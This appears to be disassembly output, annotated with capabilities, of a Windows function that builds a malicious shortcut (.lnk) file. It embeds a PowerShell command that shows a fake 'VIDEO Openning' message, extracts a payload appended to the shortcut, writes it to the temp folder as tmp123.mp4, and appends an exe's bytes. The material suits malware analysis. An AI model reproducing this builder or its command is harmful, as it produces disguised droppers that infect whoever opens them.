Function at 0x1400112e4
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
jmp 0x140013cd0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x5858
call fcn.1400110e6
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1486
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5878]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x5808], rax
lea rcx, [0x14002b0f2]
call fcn.140011474
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x3f4], 0
xor eax, eax
mov word [rbp + 0x414], ax
xor eax, eax
mov word [rbp + 0x854], ax
xor eax, eax
mov word [rbp + 0x4894], ax
mov dword [rbp + 0x50f4], 0
mov dword [rbp + 0x5114], 0
mov dword [rbp + 0x5134], 0
mov qword [rbp + 0x5158], 0
mov dword [rbp + 0x51f4], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x5838]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140013de8
lea rcx, str.Failed_to_create_output_file_n
call fcn.140011221
mov eax, 1
jmp 0x140014528
mov r8d, 0x4c
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.14001138e
mov dword [rbp + 0x50], 0x4c
lea rdx, [rbp + 0x54]
lea rcx, str.00021401_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rbp + 0x64], 0x20002e4
mov dword [rbp + 0x68], 0
mov dword [rbp + 0x70], 0
mov dword [rbp + 0x6c], 0
mov dword [rbp + 0x78], 0
mov dword [rbp + 0x74], 0
mov dword [rbp + 0x80], 0
mov dword [rbp + 0x7c], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x8c], 7
xor eax, eax
mov word [rbp + 0x90], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 0x4c
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013eaf
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x440]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5848]
lea rcx, [rbp + 0x440]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x440]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x414], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x414]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013f30
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
movzx eax, word [rbp + 0x414]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x440]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013f76
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x4000
xor edx, edx
lea rcx, [rbp + 0x880]
call fcn.14001138e
lea r9, [0x140020383]
lea r8, str._512S_c_echo_VIDEO_Openning_Please_wait.....powershell__windowstyle_normal__lnkpath__Get_ChildItem_.lnk__where_object___.length__eq_0x00000000__Select_Object__ExpandProperty_Name__file___System.IO.File_::ReadAllBytes__lnkpath_____path____temp___tmp123___.mp4__skipBytes__000000__bytes___byte____file__skipBytes..___file.Length_1____System.IO.File_::WriteAllBytes__path___bytes_____temp___tmp123.mp4_
mov edx, 0x1fff
lea rcx, [rbp + 0x880]
call fcn.14001144c
lea rcx, [rbp + 0x880]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x854], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x854]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013ffc
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5134], eax
movzx eax, word [rbp + 0x854]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x880]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014054
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x48c0]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5840]
lea rcx, [rbp + 0x48c0]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x48c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x4894], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x4894]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400140d5
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
movzx eax, word [rbp + 0x4894]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x48c0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001411b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x314
xor edx, edx
lea rcx, [rbp + 0xc0]
call fcn.14001138e
mov dword [rbp + 0xc0], 0x314
mov dword [rbp + 0xc4], 0xa0000001
mov r8d, 0x103
lea rdx, str._windir__system32WindowsPowerShell_v1.0powershell.exe
lea rcx, [rbp + 0xc8]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov r8d, 0x103
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x1cc]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 0x314
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400141b6
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5114], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x5830]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140014224
lea rcx, str.Failed_to_open_exe_file_n
call fcn.140011221
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x50f4]
mov r8d, 0x400
lea rdx, [rbp + 0x4ce0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14001426d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
cmp dword [rbp + 0x50f4], 0
jne 0x140014278
jmp 0x1400142c7
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, dword [rbp + 0x50f4]
lea rdx, [rbp + 0x4ce0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400142c2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
jmp 0x140014224
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x51f4], eax
lea rdx, str._skipBytes__000000
lea rcx, [rbp + 0x880]
call fcn.1400110be
mov qword [rbp + 0x5158], rax
cmp qword [rbp + 0x5158], 0
jne 0x14001431b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
lea rcx, str._skipBytes_
call fcn.1400111f4
mov rcx, qword [rbp + 0x5158]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x5158], rax
lea rax, [rbp + 0x880]
mov rcx, qword [rbp + 0x5158]
sub rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x5134]
add ecx, eax
mov eax, ecx
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x140014382
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x5178]
call fcn.14001138e
mov r9d, dword [rbp + 0x5114]
lea r8, str._06u
mov edx, 0xf
lea rcx, [rbp + 0x5178]
call fcn.14001144c
lea rcx, [rbp + 0x5178]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x5178]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014401
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
lea rdx, str._.length__eq_0x00000000
lea rcx, [rbp + 0x880]
call fcn.1400110be
mov qword [rbp + 0x5158], rax
cmp qword [rbp + 0x5158], 0
jne 0x140014439
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
lea rcx, str._.length__eq
call fcn.1400111f4
mov rcx, qword [rbp + 0x5158]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x5158], rax
lea rax, [rbp + 0x880]
mov rcx, qword [rbp + 0x5158]
sub rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x5134]
add ecx, eax
mov eax, ecx
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1400144a0
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x51b8]
call fcn.14001138e
mov r9d, dword [rbp + 0x51f4]
lea r8, str.0x_08X
mov edx, 0xf
lea rcx, [rbp + 0x51b8]
call fcn.14001144c
lea rcx, [rbp + 0x51b8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x51b8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001451c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014528
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f130]
call fcn.1400113f2
mov rax, rdi
mov rcx, qword [rbp + 0x5808]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x5818]
pop rdi
pop rbp
ret